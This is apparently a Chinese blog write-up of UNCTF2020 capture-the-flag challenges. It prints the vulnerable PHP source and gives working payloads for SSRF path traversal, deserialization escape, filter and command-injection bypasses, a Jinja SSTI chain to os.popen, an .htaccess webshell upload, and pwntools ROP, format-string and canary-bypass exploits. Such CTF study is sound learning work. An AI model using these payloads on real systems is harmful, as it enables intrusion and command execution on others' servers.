UNCTF2020 部分题目总结

UNCTF2020 部分题目总结
接触ctf开始马上快三个月了签到赛参加的也挺多了 这是第一个能写出来题目的比赛 记录一下一部分题目

web

easy_ssrf

<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('error!!');
    }
}else{
    echo("error");
}
?>

官方wp给的解释:当php遇到一个不认识的protocol时,会抛出一个warning,并将protocol设置为null,在protoco为null或file时,则进行本地操作。默认情况下不传协议或传入了不存在协议,会进行本地文件操作。

所以我们只要开头放一个不存在的协议或者不用协议,在进行任意文件读取即可

payload:
unctf.com/../../../../../../flag 或者
0://unctf.com/../../../../../../flag 等等

easyunserialize

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

一个经典的反序列化尾部逃逸的例子
当进行完反序列化操作后,在进行对反序列化的字符串内容替换时,都有可能造成字符逃逸,分为首部和尾部两种
关于字符逃逸
根据正则替换,每次替换多出4个长度,构造payload:
?1=challengechallengeechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}"""后面多出来的双引号用来凑长度的

ezphp

<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}

一道基本的php反序列化的题目
让反序列化结果的usernamepassword与环境中的值相等
exp:

<?php
$payload = array('username' => 0,'password' =>0 );
var_dump(serialize($payload));
?>

将得到的结果POST过去

a:2:{s:8:“username”;i:0;s:8:“password”;i:0;}

babyeval

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>

题目中过滤了括号,那么我们就用不需要括号的函数,比如include
返回内容中也不能带有flag,那么我们就用编码绕过
payload:

?a=include$_GET[1];?>&1=php://filter/convert.base64-encode/resource=flag.php

看了下官方的wp:

/?a=system(%27%0acat%20f*%20|%20base64%27);
/?a=echo `base64 flag.php`;

emmmmmmmmm

easyfind

给了提示:

提示1:if(!(is_file($name)===false)){flag}else{no flag}

传个数组或者%00过去就可以了

UN’s_online_tools

在这里插入图片描述
输入url发现GET传参,根据页面的PING很容易想到命令执行
首先发现过滤了空格这里可以使用%09绕过
在这里插入图片描述
发现cat等常用命令也被过滤了 可以使用grep命令
payload直接在url传:

||grep%09"-"%09/f???

easyflask

这题感觉出了点问题,官方wp说是伪造session,改成admin登陆,但是直接注册admin就可以了
在这里插入图片描述
访问后用guess传参,发现存在ssti
在这里插入图片描述
接下来就是常见的ssti绕过了
payload:

?guess={{request|attr(request.args.application)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.import)(request.args.os)|attr(request.args.popen)(request.args.zhiling)|attr(request.args.read)()}}&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&zhiling=cat flag.txt&read=read

菜鸡的pyaload看着有亿点点繁琐

easy_upload

随便上传一个jpg文件,成功了
在这里插入图片描述
抓包修改,发现过滤了后缀名,不能含有ph,也限制了文件内容
在这里插入图片描述
这样的话我们上传 .htaccess文件 通过\+\n绕过对ph的检测
在这里插入图片描述
上传图片🐎
在这里插入图片描述
访问,传参
在这里插入图片描述

easyphp

给了提示 传入source得到源码 不知道为什么粘贴过来代码颜色怪怪的 凑活看吧


//只有admin才能设置环境变量
 <?php
 
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
    function fuxkSQL($iText)
    {
        $oText = $iText;
        $oText = str_replace('\\\\', '\\', $oText);
        $oText = str_replace('\"', '"', $oText);
        $oText = str_replace("\'", "'", $oText);
        $oText = str_replace("'", "''", $oText);
        return $oText;
    }
}
if (!function_exists('getVars')) {
    function getVars()
    {
        $totals = array_merge($_GET, $_POST);
        if (count($_GET)) {
            foreach ($_GET as $key => $value) {
                global ${$key};
                if (is_array($value)) {
                    $temp_array = array();
                    foreach ($value as $key2 => $value2) {
                        if (function_exists(“mysql_real_escape_string”)) {
                            $temp_array[$key2] = fuxkSQL(trim($value2));
                        } else {
                            $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
                        }
                    }
                    ${$key} = $_GET[$key] = $temp_array;
                } else {
                    if (function_exists(”mysql_real_escape_string“)) {
                        ${$key} = fuxkSQL(trim($value));
                    } else {
                        ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
                    }
                }
            }
        }
    }
}
 
getVars();
if (isset($source)) {
    highlight_file(__FILE__);
}
 
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
    echo ”you can set config variables!!“ . ”</br>';
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
} else {
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key)) {
            echo ($GLOBALS[$key]) . '</br>';
        }
    }
}

看到最下面的if语句,可以利用变量覆盖,将adminpassword指定的值,绕过第一个条件
第二个变量可以利用php弱相等绕过,爆破一下0e开头的字符串sha1后还是0e开头的
第一个小payload:

?source&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704

在这里插入图片描述
接着看一下上面的过滤函数,想办法命令执行在这里插入图片描述
php7里面没有mysql_real_escape_string函数
所以过滤其实很少,只是对'"进行了转义
在php中:

$a=1;
$b=“a”;
则 $$b=1

我们可以利用这个构造payload:

&var1=${$a($b)}&a=system&b=ls /

在这里插入图片描述
命令执行成功 结果flag在phpinfo里面emmmmmm

PWN

pwn的签到题真滴多

YLBNB

nc 直接连 说用pwntools在win下发送chcp 65001就有flag
exp:

from pwn import *
context(os="windows")
re = remote("ip",port)
re.sendline(b"chcp 65001")
print(re.recv())

do_you_like_me?

在这里插入图片描述
丢进IDA

在这里插入图片描述
发现read函数处存在栈溢出,程序中还有后门函数,直接跳转就行
exp:

from pwn import *
context.log_level="debug"
io = process("./p1")
elf = ELF("p1")
system_addr = elf.plt["system"]
pop_rdi_ret = 0x4007c3
ret = 0x400561
bin_sh_addr = next(elf.search(b"/bin/sh"))
payload = b"Y"*(0x10+8) +p64(ret) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

你真的会pwn嘛?

在这里插入图片描述
在这里插入图片描述
输入一个数 如果和bss上的一个变量相等就跳转到shell
发现一个格式化字符串漏洞
exp:

from pwn import *
context.log_level = "debug"
bss_addr = 0x60107C
io = process("./pwn")
io.recvuntil("Give me your input : ")
payload = b"ccc%11$n"+p64(bss_addr)
io.sendline(payload)
io.interactive()

fan

在这里插入图片描述
进入vul 发现溢出 还有后门函数
在这里插入图片描述
exp:

from pwn import *
context.log_level="debug"
io = process("./pwn")
system_sh = 0x400739
payload = b"a"*(0x30+8) +p64(system_sh)
io.recvuntil("input your message")
io.sendline(payload)
io.interactive()

原神

在这里插入图片描述
运行一下文件发现是一个抽卡模拟器
在这里插入图片描述
观察了一下 伪代码 发现read存在溢出
在这里插入图片描述
发现程序中存在system的plt,那么我们只需要找到一个参数就行
程序中并没有准备好的/bin/sh
我们发现最后输出的抽卡记录是存在于bss段上的变量
我们可以利用计数器来构造sh$0来当成参数
三星最易抽到,对比不难看出,存放三星武器的变量是哪个
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

于是思路就是不停抽卡,将bss段变量作为system的参数

exp:

from pwn import *
io = process("./GenshinSimulator")
elf = ELF("GenshinSimulator")
shell_num = 0
def add_num(a):
    num = 0
    if a==10:
        io.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡","2")
    elif a==1:
        io.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡\n","1")
    io.recvuntil("抽卡结果如下:\n")
    for i in range(1,a+1):
        data = io.recvline()
        if not bytes("★★★★★","utf-8") in data:
            if not bytes("★★★★","utf-8") in data:
                if bytes("★★★","utf-8") in data:
                    num+=1
    return num
aim = 0x6873
while shell_num != aim:
    if shell_num < (aim-10):
        shell_num += add_num(10)
    else:
        shell_num += add_num(1)
io.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡\n","3")  
io.sendlineafter("请选择:[1]向好友炫耀 [2]退出\n","1")
shell_addr = 0x602314
ret = 0x4006c6
pop_rdi_ret = 0x400d13
system_plt = elf.plt["system"] 
payload = b"l"*(0x30+8)+p64(ret)+p64(pop_rdi_ret)+p64(shell_addr)+p64(system_plt)
io.send(payload)
io.recv()
io.interactive()   

这里的aim变量为hs0$的16进制

pwngirl

在这里插入图片描述
发现开启了Canary保护
前三个函数都是简单的逻辑,并没有可以利用的地方,直接看第四个函数
在这里插入图片描述
发现base数组存在越界
但是紧跟着有个一qsort函数会打乱我们的payload
发现下面还有一次越界
并且满足v2=27就可以不用排序在这里插入图片描述
但是由于存在Canary我们无法直接溢出
但是如果将+,-之类的的一些特殊字符传入scanf,它是不会覆盖栈上的内容的,也就绕过了Canary的保护
由于是int型数组,且数组开头距离ebp0x30所以我们需要覆盖后门函数地址到0x30+8后,即数组第15个位置
exp:

from pwn import *
io = process("./pwn")
elf = ELF("pwn")
io.sendlineafter("[Y/N/@]","@")
io.sendlineafter("answer the question2:","^")
io.sendlineafter("please input your name:","s")
io.sendlineafter("how many girlfriends do you have?\n","1")
io.sendline("1")
io.sendlineafter("you can change your girlfriend\n","0")
io.sendlineafter("which girlfriend do you want to change?","27")
for i in range(27):
    if i!=14:
        io.sendlineafter("now change:\n","+")
    elif i==14:
        io.sendlineafter("now change:\n",str(0x400C08))
io.interactive()
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值